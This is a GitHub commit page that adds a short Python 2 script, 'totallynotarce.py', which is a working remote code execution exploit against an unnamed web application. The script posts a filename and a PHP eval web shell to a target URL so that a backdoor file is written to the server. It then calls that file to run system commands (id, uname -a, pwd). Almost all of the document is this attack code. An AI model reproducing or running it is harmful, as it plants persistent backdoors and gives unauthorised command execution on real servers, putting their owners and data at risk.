Skip to content

Commit f015a12

Browse files
authored
Create totallynotarce.py
1 parent 94bc04e commit f015a12

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed

TotallyNotARCE/totallynotarce.py

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
#!/usr/bin/python2
2+
import requests
3+
import sys
4+
5+
def drop_shell(target_url):
6+
print "{+} Dropping a shell on the target..."
7+
data = {"mac": "urmum.php",
8+
"d": "<?php eval($_REQUEST[1337]);"}
9+
try:
10+
r = requests.post(target_url, data=data, verify=False)
11+
except Exception:
12+
sys.exit("NOPE!")
13+
lol = target_url.split("/")[-1]
14+
shell_url = target_url.replace(lol, "data/urmum.php")
15+
print "{+} Shell Uploaded. It should be at %s" %(shell_url)
16+
return shell_url
17+
18+
def check_shell(shell_url):
19+
print "{+} Sending id;uname -a;pwd...\n\n"
20+
data = {"1337": 'system("id;uname -a;pwd");'}
21+
try:
22+
r = requests.post(shell_url, data=data, verify=False)
23+
print r.content
24+
except Exception, e:
25+
sys.exit(str(e))
26+
27+
def main(args):
28+
if len(args) != 2:
29+
sys.exit("use: %s http://skidsr.us/p.php" %(args[0]))
30+
shell_url = drop_shell(target_url=args[1])
31+
check_shell(shell_url)
32+
33+
if __name__ == "__main__":
34+
main(args=sys.argv)

0 commit comments

Comments
 (0)